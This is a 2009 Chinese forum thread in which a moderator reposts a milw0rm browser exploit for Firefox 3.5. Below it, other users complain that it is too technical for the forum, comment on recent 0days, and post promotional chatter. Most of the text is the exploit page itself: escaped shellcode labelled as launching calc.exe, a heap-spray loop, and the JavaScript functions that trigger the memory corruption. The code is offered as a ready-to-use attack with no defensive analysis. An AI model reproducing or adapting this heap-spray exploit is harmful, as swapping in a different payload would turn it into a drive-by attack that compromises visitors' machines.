Mozilla Firefox 3.5 Remote Buffer Overflow Exploit (untested crash) [复制链接]

小西瓜

版主

Rank: 7 Rank: 7 Rank: 7

盾币: 364
盾分: 0
在线时间: 743 小时
最后登录: 2012-5-9
主题: 14
精华: 1
帖子: 313

发表于 2009-7-14 22:21:30 |显示全部楼层

from milw0rm.com [2009-07-13]

<html>
<head>
<title>Firefox 3.5 Vulnerability</title>
Firefox 3.5 Heap Spray Vulnerabilty
</br>
Author: SBerry aka Simon Berry-Byrne
</br>
Thanks to HD Moore for the insight and Metasploit for the payload
<div id="content">
<p>
<FONT>
</FONT>
</p>
<p>
<FONT>Loremipsumdoloregkuw</FONT></p>
<p>
<FONT>Loremipsumdoloregkuwiert</FONT>
</p>
<p>
<FONT>Loremikdkw </FONT>
</p>
</div>
<script language=JavaScript>
/* Calc.exe */
var shellcode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");
/* Heap Spray Code */
oneblock = unescape("%u0c0c%u0c0c");
var fullblock = oneblock;
while (fullblock.length<0x60000)
{
fullblock += fullblock;
}
sprayContainer = new Array();
for (i=0; i<600; i++)
{
sprayContainer[i] = fullblock + shellcode;
}
var searchArray = new Array()
function escapeData(data)
{
var i;
var c;
var escData='';
for(i=0;i<data.length;i++)
{
c=data.charAt(i);
if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c);
escData+=c;
}
return escData;
}
function DataTranslator(){
searchArray = new Array();
searchArray[0] = new Array();
searchArray[0]["str"] = "blah";
var newElement = document.getElementById("content")
if (document.getElementsByTagName) {
var i=0;
pTags = newElement.getElementsByTagName("p")
if (pTags.length > 0)
while (i<pTags.length)
{
oTags = pTags[i].getElementsByTagName("font")
searchArray[i+1] = new Array()
if (oTags[0])
{
searchArray[i+1]["str"] = oTags[0].innerHTML;
}
i++
}
}
}
function GenerateHTML()
{
var html = "";
for (i=1;i<searchArray.length;i++)
{
html += escapeData(searchArray[i]["str"])
}
}
DataTranslator();
GenerateHTML()
</script>
</body>
</html>
<html><body></body></html>

复制代码

华军测评 ： 保护账号安全巨盾网游安全盾

Sagittarius

超级版主

Rank: 8 Rank: 8 Rank: 8 Rank: 8

盾币: 1691
盾分: 0
在线时间: 3400 小时
最后登录: 2012-5-19
主题: 53
精华: 5
帖子: 1464

发表于 2009-7-14 22:24:52 |显示全部楼层

本帖最后由 Sagittarius 于 2009-7-14 22:26 编辑

这个不适合放这边。。不想做技术论坛。。

西瓜以后放些浅些，易懂的。便于平民化。的。。

勤勤恳恳做事,安安静静做人

小西瓜

版主

Rank: 7 Rank: 7 Rank: 7

盾币: 364
盾分: 0
在线时间: 743 小时
最后登录: 2012-5-9
主题: 14
精华: 1
帖子: 313

发表于 2009-7-14 22:28:07 |显示全部楼层

这个不适合放这边。。不想做技术论坛。。
西瓜以后放些浅些，易懂的。便于平民化。的。。
Sagittarius 发表于 2009-7-14 22:24

这世道IE才出了0day，Firefox也来凑热闹

softsing

初级会员

Rank: 1

盾币: 520
盾分: 0
在线时间: 436 小时
最后登录: 2010-8-24
主题: 23
精华: 0
帖子: 483

发表于 2009-12-5 02:25:13 |显示全部楼层

杀木马用巨盾,用了都说好!

efgh074 efgh074 当前离线盾币 4 贡献 0 邀请 0 推广 0 盾分 0 宣传 0 在线时间 0 小时最后登录 2009-12-23 主题 0 帖子 4 精华 0 积分 0 注册时间 2009-10-6 阅读权限 0 UID 768 头像被屏蔽禁止发言盾币 4 盾分 0 在线时间 0 小时最后登录 2009-12-23 主题 0 精华 0 帖子 4 串个门加好友打招呼发消息	发表于 2009-12-5 15:16:38 \|显示全部楼层人言可畏啊！提示: 作者被禁止或删除内容自动屏蔽

	回复举报